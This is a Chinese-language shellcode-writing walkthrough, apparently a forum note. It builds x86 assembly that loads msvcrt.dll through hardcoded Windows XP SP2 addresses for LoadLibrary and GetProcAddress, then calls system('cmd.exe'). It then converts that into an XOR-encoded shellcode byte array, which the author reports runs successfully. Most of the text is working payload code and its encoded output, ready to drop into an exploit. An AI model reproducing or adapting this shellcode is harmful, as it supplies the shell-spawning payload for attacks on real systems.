ASM原始部分:
__asm
{//在这里模拟出一个函数体内的程序结构,我们自己分配空间来存
储"msvcrt.dll","system","cmd.exe"三个字串
push ebp
push ecx
push edx
mov ebp,esp
sub esp,20h//分配32(0x20)个字节就已经够用了
xor ecx,ecx
/**************************************/
//调用LoadLibrary函数装载msvcrt.dll
mov byte ptr [ebp-0bh],'m'
mov byte ptr [ebp-0ah],'s'
mov byte ptr [ebp-09h],'v'
mov byte ptr [ebp-08h],'c'
mov byte ptr [ebp-07h],'r'
mov byte ptr [ebp-06h],'t'
mov byte ptr [ebp-05h],'.'
mov byte ptr [ebp-04h],'d'
mov byte ptr [ebp-03h],'l'
mov byte ptr [ebp-02h],'l'
mov byte ptr [ebp-01h],0
lea eax,[ebp-0bh]
push eax
mov ecx,7c882fc4h;//<=----LoadLibrary函数地址,SP XP2
call ecx
mov edx,eax//保存装载后msvcrt.dll在内存中的起始地址
//调用GetProcAddress取得system函数起址
mov byte ptr [ebp-0bh],'s'
mov byte ptr [ebp-0ah],'y'
mov byte ptr [ebp-09h],'s'
mov byte ptr [ebp-08h],'t'
mov byte ptr [ebp-07h],'e'
mov byte ptr [ebp-06h],'m'
mov byte ptr [ebp-05h],0
lea eax,[ebp-0bh]
push eax
push edx
mov ecx,7c80ac28h;//<=----GetProcAddress函数地址,SP XP2
call ecx
mov edx,eax//保存获得的system函数在内存中的起始地址
//调用system开启cmd环境
mov byte ptr [ebp-0bh],'c'
mov byte ptr [ebp-0ah],'m'
mov byte ptr [ebp-09h],'d'
mov byte ptr [ebp-08h],'.'
mov byte ptr [ebp-07h],'e'
mov byte ptr [ebp-06h],'x'
mov byte ptr [ebp-05h],'e'
mov byte ptr [ebp-04h],0
lea eax,[ebp-0bh]
push eax
call edx
add esp,4;//system函数使用C调用约定(它的原型没有使用WINAPI这样的标识符)
由调用者调整堆栈
/**************************************/
mov esp,ebp
pop edx
pop ecx
pop ebp
}
利用OD指提取ASM部分
push ebp
push ecx
push edx
mov ebp, esp
sub esp, 20
xor ecx, ecx
mov byte [ebp-B], 6D
mov byte [ebp-A], 73
mov byte [ebp-9], 76
mov byte [ebp-8], 63
mov byte [ebp-7], 72
mov byte [ebp-6], 74
mov byte [ebp-5], 2E
mov byte [ebp-4], 64
mov byte [ebp-3], 6C
mov byte [ebp-2], 6C
mov byte [ebp-1], 0
lea eax, [ebp-B]
push eax
mov ecx, kernel32.LoadLibraryA
call ecx
mov edx, eax
mov byte [ebp-8], 73
mov byte [ebp-7], 79
mov byte [ebp-6], 73
mov byte [ebp-5], 74
mov byte [ebp-4], 65
mov byte [ebp-3], 6D
mov byte [ebp-2], 0
lea eax, [ebp-8]
push eax
push edx
mov ecx, kernel32.GetProcAddress
call ecx
mov edx, eax
mov byte [ebp-B], 63
mov byte [ebp-A], 6D
mov byte [ebp-9], 64
mov byte [ebp-8], 2E
mov byte [ebp-7], 65
mov byte [ebp-6], 78
mov byte [ebp-5], 65
mov byte [ebp-4], 0
lea eax, [ebp-B]
push eax
call edx
add esp, 4
mov esp, ebp
pop edx
pop ecx
pop ebp
pop ebp
retn
去掉首尾的,push ebp, pop ebp, retn,然后利用asm_2_shellcode辅助提取shellcode
对于asm_2_shellcode还需要一些工作,除 了作者的要求外,要需要把
mov byte [ebp-B], 6D
mov byte [ebp-A], 73
在 6D后面要加上h,然后把[ebp-B]字母转化为11,否则nasm会提示错误!
附上shellcode部分的asm:
BITS 32
push ecx
push edx
mov ebp, esp
sub esp, 20h
xor ecx, ecx
mov byte [ebp-11], 6Dh
mov byte [ebp-10], 73h
mov byte [ebp-9], 76h
mov byte [ebp-8], 63h
mov byte [ebp-7], 72h
mov byte [ebp-6], 74h
mov byte [ebp-5], 2Eh
mov byte [ebp-4], 64h
mov byte [ebp-3], 6Ch
mov byte [ebp-2], 6Ch
mov byte [ebp-1], 0h
lea eax, [ebp-11]
push eax
mov ecx, 7c882fc4h;这个地址是kernel32.LoadLibraryA函数地址
call ecx
mov edx, eax
mov byte [ebp-8], 73h
mov byte [ebp-7], 79h
mov byte [ebp-6], 73h
mov byte [ebp-5], 74h
mov byte [ebp-4], 65h
mov byte [ebp-3], 6Dh
mov byte [ebp-2], 0h
lea eax, [ebp-8]
push eax
push edx
mov ecx, 7c80ac28h;这个是kernel32.GetProADDRESS地址
call ecx
mov edx, eax
mov byte [ebp-11], 63h
mov byte [ebp-10], 6Dh
mov byte [ebp-9], 64h
mov byte [ebp-8], 2Eh
mov byte [ebp-7], 65h
mov byte [ebp-6], 78h
mov byte [ebp-5], 65h
mov byte [ebp-4], 0h
lea eax, [ebp-11]
push eax
call edx
add esp, 4
mov esp, ebp
pop edx
pop ecx
这个段是按asm_2_shellcode 的程序整理后的asm
下面是asm_2_shellcode提取到的shellcode:
shellcode[] = "\xEB"
"\x0F\x58\x80\x30\x95\x40\x81\x38\x68\x61\x63\x6B\x75\xF4\xEB\x05\xE8\xEC\xFF\xFF"
"\xFF\xC4\xC7\x1C\x70\x14\x79\xB5\x95\x95\x95\xA4\x5C\x53\xD0\x60\xF8\x53\xD0\x63"
"\xE6\x53\xD0\x62\xE3\x53\xD0\x6D\xF6\x53\xD0\x6C\xE7\x53\xD0\x6F\xE1\x53\xD0\x6E"
"\xBB\x53\xD0\x69\xF1\x53\xD0\x68\xF9\x53\xD0\x6B\xF9\x53\xD0\x6A\x95\x18\xD0\x60"
"\xC5\x2C\x51\xBA\x1D\xE9\x6A\x44\x1C\x57\x53\xD0\x6D\xE6\x53\xD0\x6C\xEC\x53\xD0"
"\x6F\xE6\x53\xD0\x6E\xE1\x53\xD0\x69\xF0\x53\xD0\x68\xF8\x53\xD0\x6B\x95\x18\xD0"
"\x6D\xC5\xC7\x2C\xBD\x39\x15\xE9\x6A\x44\x1C\x57\x53\xD0\x60\xF6\x53\xD0\x63\xF8"
"\x53\xD0\x62\xF1\x53\xD0\x6D\xBB\x53\xD0\x6C\xF0\x53\xD0\x6F\xED\x53\xD0\x6E\xF0"
"\x53\xD0\x69\x95\x18\xD0\x60\xC5\x6A\x47\x14\x51\x91\x95\x95\x95\x1C\x79\xCF\xCC"
"\x95\x95\x68\x61\x63\x6B\xCD";
看看这样弄的shellcode放到程序里面是不是也有问题呢?
单独执行shellcode成功!